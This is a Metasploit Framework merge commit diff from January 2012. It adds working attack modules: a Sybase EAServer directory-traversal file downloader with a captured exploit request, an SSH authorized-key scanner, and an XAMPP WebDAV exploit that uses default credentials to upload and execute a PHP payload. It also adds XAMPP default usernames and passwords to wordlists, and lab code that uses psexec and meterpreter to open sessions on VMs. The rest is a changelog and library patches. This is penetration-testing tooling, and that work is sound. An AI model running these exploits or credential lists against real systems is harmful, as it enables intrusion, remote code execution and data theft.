Merge remote branch 'upstream/master'

This commit is contained in:
chao-mu 2012-01-06 20:27:53 -05:00
commit bd52f228a0
22 changed files with 805 additions and 154 deletions

Binary file not shown.

View File

@ -1,6 +1,39 @@
Armitage Changelog
==================
5 Jan 12
--------
- Armitage d-server now transmits hosts, service, and session state only
when something has changed. This makes teaming much snappier.
- Uploading an imported hosts file now shows a progress dialog.
- File browser upload function no longer blocks the user interface in team
mode. A progress dialog is shown for uploading larger files.
- Removed Ctrl+R refresh hosts shortcut from graph view (it's no longer
necessary)
- Armitage now exits if it was unable to connect to the collaboration server.
- Hosts -> NMap Scans and Hosts -> MSF Scans dialogs are now populated with
the selected values from the target area by default.
- You may now interact with a Windows command shell through Java meterpreter.
- Armitage no longer shows Webcam Shot option through Java meterpreter.
- Armitage now detects when it does not have read permissions for the database
YAML file and prompts with something helpful. Before it would just freeze
with a blank dialog. Not helpful. :)
- Armitage now only shows services that are open.
- View -> Reporting -> Export Data now has the capability of dumping the whole
database (not just the current workspace).
- Added a dialog to View -> Reporting Export Data. Now you have the ability to
dump all hosts or choose to dump one of the dynamic workspaces. This gives
you a lot of flexibility with which hosts are included.
- Cleaned up exported output of vulnerabilities in the Metasploit database:
-- duplicate entries are collapsed to one (this was the fault of my query)
-- refs column contains references separated by a comma and a space
-- added info and module columns. The module column indicates the appropriate
Metasploit module
-- Metasploit modules now populate name, info, and module in an appropriate
way.
- Values exported to TSV are cleaned up such that newlines are replaced with a
literal \n and tabs are converted to three spaces.
30 Dec 11 - last release of the year?
---------
- Hosts -> Clear Database now clears the sessions and clients tables

View File

@ -12,3 +12,6 @@ user
system
sys
none
xampp
wampp
ppmax2011

View File

@ -4,3 +4,6 @@ admin 1234
cisco cisco
cisco sanfran
private private
wampp xampp
newuser wampp
xampp-dav-unsecure ppmax2011

View File

@ -8,3 +8,6 @@ security
user
system
sys
wampp
newuser
xampp-dav-unsecure

View File

@ -98,26 +98,6 @@ class RemoteEsxDriver < VmDriver
remote_system_command("vim-cmd vmsvc/snapshot.removeall #{@vmid}")
end
def run_command(command)
raise "Not Implemented"
end
def copy_from_guest(from, to)
if @os == "linux"
scp_from(from, to)
else
raise "Unimplemented"
end
end
def copy_to_guest(from, to)
if @os == "linux"
scp_to(from, to)
else
raise "Unimplemented"
end
end
def check_file_exists(file)
raise "Not Implemented"
end
@ -126,14 +106,135 @@ class RemoteEsxDriver < VmDriver
raise "Not Implemented"
end
def cleanup
def run_command(command, timeout=60)
setup_session
#puts "Using session #{@session}"
# TODO: pass the timeout down
if @session
if @session.type == "shell"
#puts "Running command via shell: #{command}"
@session.shell_command_token(command, timeout)
elsif @session.type == "meterpreter"
#puts "Running command via meterpreter: #{command}"
@session.shell_command(command)
end
else
raise "No session"
end
end
def copy_to_guest(local,remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("upload #{local} #{remote}")
else
@driver.copy_to(local,remote)
end
end
def copy_from_guest(local, remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("download #{local} #{remote}")
else
@driver.copy_from(local,remote)
end
end
def cleanup
end
def running?
power_status_string = `ssh #{@user}@#{@host} \"vim-cmd vmsvc/power.getstate #{@vmid}\"`
return true if power_status_string =~ /Powered on/
false
end
private
def create_framework
return if @framework
@framework = Msf::Simple::Framework.create
end
# perform the setup only once
def setup_session
return if @session
# require the framework (assumes this sits in lib/lab/modifiers)
require 'msf/base'
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
@session = nil
@session_input = Rex::Ui::Text::Input::Buffer.new
@session_output = Rex::Ui::Text::Output::Buffer.new
if @os == "windows"
exploit_name = 'windows/smb/psexec'
# TODO - check for x86, choose the appropriate payload
payload_name = 'windows/meterpreter/bind_tcp'
options = {
"RHOST" => @hostname,
"SMBUser" => @vm_user,
"SMBPass" => @vm_pass}
#puts "DEBUG: using options #{options}"
# Initialize the exploit instance
exploit = @framework.exploits.create(exploit_name)
begin
# Fire it off.
@session = exploit.exploit_simple(
'Payload' => payload_name,
'Options' => options,
'LocalInput' => @session_input,
'LocalOutput' => @session_output)
@session.load_stdapi
#puts "DEBUG: Generated session: #{@session}"
rescue Exception => e
#puts "DEBUG: Unable to exploit"
#puts e.to_s
end
else
module_name = 'scanner/ssh/ssh_login'
# TODO - check for x86, choose the appropriate payload
payload_name = 'linux/x86/shell_bind_tcp'
options = { "RHOSTS" => @hostname,
"USERNAME" => @vm_user,
"PASSWORD" => @vm_pass,
"BLANK_PASSWORDS" => false,
"USER_AS_PASS" => false,
"VERBOSE" => false}
# Initialize the module instance
aux = @framework.auxiliary.create(module_name)
#puts "DEBUG: created module: #{aux}"
begin
# Fire it off.
aux.run_simple(
'Payload' => payload_name,
'Options' => options,
'LocalInput' => @session_input,
'LocalOutput' => @session_output)
@session = @framework.sessions.first.last
rescue Exception => e
#puts "DEBUG: Unable to exploit"
#puts e.to_s
end
end
end
def get_snapshots

View File

@ -117,7 +117,6 @@ private
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
# scp.upload!(from,to)
#end
system_command("scp #{local} #{@vm_user}@#{@hostname}:#{remote}")
end
@ -127,17 +126,13 @@ private
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
# scp.download!(from,to)
#end
system_command("scp #{@vm_user}@#{@hostname}:#{remote} #{local}")
end
def ssh_exec(command)
::Net::SSH.start(@hostname, @vm_user, :password => @vm_pass) do |ssh|
result = ssh.exec!(command)
end
`scp #{@vm_user}@#{@hostname} from to`
end
@ -148,7 +143,6 @@ private
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\):!]*$/.match string
raise "WARNING! Invalid character in: #{string}"
end
string
end
@ -159,7 +153,6 @@ private
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\)]*$/.match string
raise "WARNING! Invalid character in: #{string}"
end
string
end

View File

@ -1,11 +1,7 @@
$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
# This allows us to override the default way of running commands
# Currently useful for the esx controller
# Currently useful for the remote esx driver
module Lab
module Modifier
@ -16,6 +12,57 @@ module Meterpreter
attr_accessor :session_input
attr_accessor :session_output
def meterpreter_run_command(command, timeout=60)
setup_session
puts "Using session #{@session}"
# TODO: pass the timeout down
if @session
if @session.type == "shell"
puts "Running command via shell: #{command}"
@session.shell_command_token(command, timeout)
elsif @session.type == "meterpreter"
puts "Running command via meterpreter: #{command}"
@session.shell_command(command) #, timeout)
end
else
raise "No session"
end
end
def meterpreter_copy_to_guest(local,remote)
puts "DEBUG: Meterpreter"
setup_session
if @session.type == "meterpreter"
@session.run_cmd("upload #{local} #{remote}")
else
@driver.copy_to(local,remote)
end
end
def meterpreter_copy_from_guest(local, remote)
puts "DEBUG: Meterpreter"
setup_session
if @session.type == "meterpreter"
@session.run_cmd("download #{local} #{remote}")
else
@driver.copy_from(local,remote)
end
end
# This isn't part of the normal API, but too good to pass up.
def meterpreter_run_script(script, options)
if @session.type == "meterpreter"
@session.execute_script(script, options)
else
raise "Unsupported on #{@session.type}"
end
end
private
def create_framework
return if @framework
@framework = Msf::Simple::Framework.create
@ -28,8 +75,7 @@ module Meterpreter
# require the framework (assumes this sits in lib/lab/modifiers)
require 'msf/base'
create_framework ## TODO - this should use a single framework
## for all hosts, not one-per-host
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
@session = nil
@session_input = Rex::Ui::Text::Input::Buffer.new
@ -41,7 +87,8 @@ module Meterpreter
# TODO - check for x86, choose the appropriate payload
payload_name = 'windows/meterpreter/bind_tcp'
options = { "RHOST" => @hostname,
options = {
"RHOST" => @hostname,
"SMBUser" => @vm_user,
"SMBPass" => @vm_pass}
@ -101,64 +148,7 @@ module Meterpreter
puts e.to_s
end
end
end
def run_command(command, timeout=60)
setup_session
puts "Using session #{@session}"
# TODO: pass the timeout down
if @session
if @session.type == "shell"
puts "Running command via shell: #{command}"
@session.shell_command_token(command, timeout)
elsif @session.type == "meterpreter"
puts "Running command via meterpreter: #{command}"
@session.shell_command(command) #, timeout)
end
else
raise "No session"
end
end
# This isn't part of the normal API, but too good to pass up.
def run_script(script, options)
if @session.type == "meterpreter"
@session.execute_script(script, options)
else
raise "Unsupported on #{@session.type}"
end
end
# For meterpreter API compatibility
#def execute_file(script,options)
# run_script(script,options)
#end
def copy_to(local,remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("upload #{local} #{remote}")
else
@driver.copy_to(local,remote)
end
end
def copy_from(local, remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("download #{local} #{remote}")
else
@driver.copy_from(local,remote)
end
end
end
end
end

View File

@ -104,10 +104,13 @@ class Vm
@modifiers = config['modifiers']
if @modifiers
@modifiers.each do |modifier|
begin
@modifiers.each { |modifier| self.class.send(:include, eval("Lab::Modifier::#{modifier}"))}
self.class.send(:include, eval("Lab::Modifier::#{modifier}"))
rescue Exception => e
# modifier likely didn't exist
#puts "WARNING: Unable to load: #{modifier}"
#puts "Exception: #{e}"
end
end
end
@ -206,11 +209,9 @@ class Vm
end
def to_yaml
# TODO - push this down to the drivers.
# Standard configuration options
out = " - vmid: #{@vmid}\n"
out = " hostname: #{@hostname}\n"
out += " driver: #{@driver_type}\n"
out += " location: #{@location}\n"
out += " type: #{@type}\n"

View File

@ -171,8 +171,6 @@ module Controllers
'user' => user,
'host' => host } )
end
when :virtualbox
vm_list = ::Lab::Controllers::VirtualBoxController::running_list
vm_list.each do |item|
@ -202,7 +200,6 @@ module Controllers
end
when :remote_esx
vm_list = ::Lab::Controllers::RemoteEsxController::running_list(user,host)
vm_list.each do |item|
@vms << Vm.new( { 'vmid' => "#{item[:id]}",
'name' => "#{item[:name]}",
@ -210,7 +207,6 @@ module Controllers
'user' => user,
'host' => host } )
end
else
raise TypeError, "Unsupported VM Type"
end
@ -234,7 +230,6 @@ module Controllers
'user' => user,
'host' => host } )
end
else
raise TypeError, "Unsupported VM Type"
end

View File

@ -492,11 +492,15 @@ module Exploit::Remote::HttpClient
end
].compact
headers ={ 'Authorization' => auth.join(', ') }
headers.merge!(opts['headers']) if opts['headers']
# Send main request with authentication
r = c.request_cgi(opts.merge({
'uri' => path,
'method' => method,
'headers' => { 'Authorization' => auth.join(', ') }}))
'headers' => headers }))
resp = c.send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
return [nil,nil]

View File

@ -71,7 +71,7 @@ module Net
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
:record_auth_info
:record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent
]
# The standard means of starting a new SSH connection. When used with a

View File

@ -121,11 +121,17 @@ module Net
end
key_data.each do |data|
if @options[:skip_private_keys]
key = KeyFactory.load_data_public_key(data)
known_identities[key] = { :from => :key_data, :data => data }
yield key
else
private_key = KeyFactory.load_data_private_key(data)
key = private_key.send(:public_key)
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
yield key
end
end
self
end
@ -165,6 +171,7 @@ module Net
# Identifies whether the ssh-agent will be used or not.
def use_agent?
return false if @options[:disable_agent]
@use_agent
end

View File

@ -54,6 +54,23 @@ module Net
case message.type
when USERAUTH_PK_OK
debug { "publickey will be accepted (#{identity.fingerprint})" }
# The key is accepted by the server, trigger a callback if set
if session.accepted_key_callback
session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup })
end
if session.skip_private_keys
if session.options[:record_auth_info]
session.auth_info[:method] = "publickey"
session.auth_info[:user] = username
session.auth_info[:pubkey_data] = identity.inspect
session.auth_info[:pubkey_id] = identity.fingerprint
end
return true
end
buffer = build_request(identity, username, next_service, true)
sig_data = Net::SSH::Buffer.new
sig_data.write_string(session_id)

View File

@ -34,6 +34,12 @@ module Net; module SSH; module Authentication
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
attr_accessor :auth_info
# when a public key is accepted (even if not used), trigger a callback
attr_accessor :accepted_key_callback
# when we only want to test a key and not login
attr_accessor :skip_private_keys
# Instantiates a new Authentication::Session object over the given
# transport layer abstraction.
def initialize(transport, options={})
@ -44,6 +50,8 @@ module Net; module SSH; module Authentication
@options = options
@allowed_auth_methods = @auth_methods
@skip_private_keys = options[:skip_private_keys] || false
@accepted_key_callback = options[:accepted_key_callback]
@auth_info = {}
end

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]),
OptString.new('AUTH_URI', [ false, "The URI to authenticate against (default:auto)" ]),
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth (default:GET)", "GET" ])
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "GET" ])
], self.class)
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
end
@ -277,6 +277,16 @@ class Metasploit3 < Msf::Auxiliary
'DigestAuthUser' => user,
'DigestAuthPassword' => pass
}, 25)
elsif requesttype == "PROPFIND"
res,c = send_digest_request_cgi({
'uri' => path,
'method' => requesttype,
'data' => '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:allprop/></D:propfind>',
#'DigestAuthIIS' => false,
'DigestAuthUser' => user,
'DigestAuthPassword' => pass,
'headers' => { 'Depth' => '0'}
}, 25)
else
res,c = send_digest_request_cgi({
'uri' => path,
@ -311,6 +321,11 @@ class Metasploit3 < Msf::Auxiliary
return :success
end
if (res.code == 207) and (requesttype == "PROPFIND")
@proof = res
return :success
end
rescue ::Rex::ConnectionError
vprint_error("#{target_url} - Failed to connect to the web server")
return :abort

View File

@ -0,0 +1,112 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sybase Easerver 6.3 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Sybase
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
EAserver's default configuration unless the web server allows WRITE permission.
},
'References' =>
[
[ 'CVE', '2011-2474' ],
[ 'OSVDB', '72498' ],
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
],
'Author' =>
[
'Sow Ching Shiong', #Initial discovery (via iDefense)
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "May 25 2011"
))
register_options(
[
Opt::RPORT(8000),
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
], self.class)
deregister_options('RHOST')
end
def run_host(ip)
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("Please supply the name of the file you want to download")
return
end
print_status("Attempting to download: #{datastore['FILEPATH']}")
# Create request
traversal = ".\\..\\.\\..\\.\\..\\.\\.."
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
}, 25)
print_status("Server returns HTTP code: #{res.code.to_s}")
# Show data if needed
if res and res.code == 200
vprint_line(res.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'easerver.http',
'application/octet-stream',
ip,
res.body,
fname
)
print_status("File saved in: #{path}")
else
print_error("Nothing was downloaded")
end
end
end
=begin
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool
Connection: close
Accept: */*
Host: 10.0.1.55:8000
HTTP/1.1 200 OK
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
Content-Length: 211
Connection: close
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
$ nc 10.0.1.55 8000
OPTIONS / HTTP/1.0
HTTP/1.1 405 Method Not Allowed
Allow: GET
Content-Length: 0
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
=end

View File

@ -0,0 +1,275 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'SSH Public Key Acceptance Scanner',
'Version' => '$Revision$',
'Description' => %q{
This module can determine what public keys are configured for
key-based authentication across a range of machines, users, and
sets of known keys. The SSH protocol indicates whether a particular
key is accepted prior to the client performing the actual signed
authentication request. To use this module, a text file containing
one or more SSH keys should be provided. These can be private or
public, so long as no passphrase is set on the private keys.
If you have loaded a database plugin and connected to a database
this module will record authorized public keys and hosts so you can
track your process.
Key files may be a single public (unencrypted) key, or several public
keys concatenated together as an ASCII text file. Non-key data should be
silently ignored. Private keys will only utilize the public key component
stored within the key file.
},
'Author' => ['todb', 'hdm'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(22),
OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.'])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']),
OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.'])
]
)
deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS')
@good_credentials = {}
@good_key = ''
@strip_passwords = true
end
def key_dir
datastore['KEY_DIR']
end
def rport
datastore['RPORT']
end
def ip
datastore['RHOST']
end
def read_keyfile(file)
if file == :keyfile_b64
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
elsif file.kind_of? Array
keyfile = ''
file.each do |dir_entry|
next unless ::File.readable? dir_entry
keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
end
else
keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)}
end
keys = []
this_key = []
in_key = false
keyfile.split("\n").each do |line|
if line =~ /ssh-(dss|rsa)\s+/
keys << line
next
end
in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/)
this_key << line if in_key
if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/)
in_key = false
keys << (this_key.join("\n") + "\n")
this_key = []
end
end
if keys.empty?
print_error "#{ip}:#{rport} SSH - No valid keys found"
end
return validate_keys(keys)
end
# Validates that the key isn't total garbage. Also throws out SSH2 keys --
# can't use 'em for Net::SSH.
def validate_keys(keys)
keepers = []
keys.each do |key|
if key =~ /ssh-(dss|rsa)/
keepers << key
next
end
# Needs a beginning
next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m
# Needs an end
next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m
# Shouldn't have binary.
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
# Add more tests to taste.
keepers << key
end
if keepers.empty?
print_error "#{ip}:#{rport} SSH - No valid keys found"
end
return keepers.uniq
end
def pull_cleartext_keys(keys)
cleartext_keys = []
keys.each do |key|
next unless key
next if key =~ /Proc-Type:.*ENCRYPTED/
this_key = key.gsub(/\x0d/,"")
next if cleartext_keys.include? this_key
cleartext_keys << this_key
end
if cleartext_keys.empty?
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
end
return cleartext_keys
end
def do_login(ip, port, user)
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
@keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
keys = read_keyfile(:keyfile_b64)
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
@keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
end
these_keys = @key_files.map {|f| File.join(key_dir,f)}
keys = read_keyfile(these_keys)
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
else
return :missing_keyfile
end
unless @alerted_with_msg
print_status msg
@alerted_with_msg = true
end
cleartext_keys.each_with_index do |key_data,key_idx|
key_info = ""
if key_data =~ /ssh\-(rsa|dsa)\s+([^\s]+)\s+(.*)/
key_info = "- #{$3.strip}"
end
accepted = []
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => port,
:key_data => key_data,
:disable_agent => true,
:record_auth_info => true,
:skip_private_keys => true,
:accepted_key_callback => Proc.new {|key| accepted << key }
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = Net::SSH.start(ip, user, opt_hash)
ssh_socket.close rescue nil
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :connection_disconnect
rescue Net::SSH::AuthenticationFailed
rescue Net::SSH::Exception => e
return [:fail,nil] # For whatever reason.
end
if accepted.length == 0
if @key_files
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
else
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
end
end
accepted.each do |key|
print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
do_report(ip, rport, user, key)
end
end
end
def do_report(ip, port, user, key)
report_note(
:host => ip,
:type => 'ssh.authorized_key',
:port => port,
:protocol => 'tcp',
:data => {:username => user, :fingerprint => key[:fingerprint] },
:insert => :unique_data
)
end
def run_host(ip)
# Since SSH collects keys and tries them all on one authentication session, it doesn't
# make sense to iteratively go through all the keys individually. So, ignore the pass variable,
# and try all available keys for all users.
each_user_pass do |user,pass|
ret, proof = do_login(ip, rport, user)
case ret
when :connection_error
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
:abort
when :connection_disconnect
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
:abort
when :fail
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
when :missing_keyfile
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
when :no_valid_keys
vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
end
end
end
end

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD Telnet Service Encyption Key ID Buffer Overflow',
'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
FreeBSD telnet service.
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Versions 5.2 and below do not support encyption
],
'DefaultTarget' => 0,
'DisclosureDate' => ''))
'DisclosureDate' => 'Dec 23 2011'))
end
def exploit_target(t)

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow',
'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => ''))
'DisclosureDate' => 'Dec 23 2011'))
end
def exploit_target(t)

View File

@ -0,0 +1,91 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'XAMPP WebDAV PHP Upload',
'Description' => %q{
This module exploits weak WebDAV passwords on XAMPP servers.
It uses supplied credentials to upload a PHP payload and
execute it.
},
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
'Version' => '$Revision$',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
)
register_options(
[
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])
], self.class)
end
def exploit
uri = build_path
print_status "Uploading Payload to #{uri}"
res,c = send_digest_request_cgi({
'uri' => uri,
'method' => 'PUT',
'data' => payload.raw,
'DigestAuthUser' => datastore['RUSER'],
'DigestAuthPassword' => datastore['RPASS']
}, 25)
unless (res.code == 201)
print_error "Failed to upload file!"
return
end
print_status "Attempting to execute Payload"
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
}, 20)
end
def build_path
if datastore['PATH'][0,1] == '/'
uri_path = datastore['PATH'].dup
else
uri_path = '/' + datastore['PATH'].dup
end
uri_path << '/' unless uri_path.ends_with?('/')
if datastore['FILENAME']
uri_path << datastore['FILENAME']
uri_path << '.php' unless uri_path.ends_with?('.php')
else
uri_path << Rex::Text.rand_text_alphanumeric(7)
uri_path << '.php'
end
return uri_path
end
end

View File

@ -393,7 +393,7 @@ class Plugin::Lab < Msf::Plugin
end
else
args[0..-2].each do |vmid_arg|
next unless @controller.includes_vmid? vmid_arg
next unless @controller.includes_hostname? vmid_arg
if @controller[vmid_arg].running?
print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}"
@controller[vmid_arg].copy_to_guest(local_path, vm_path)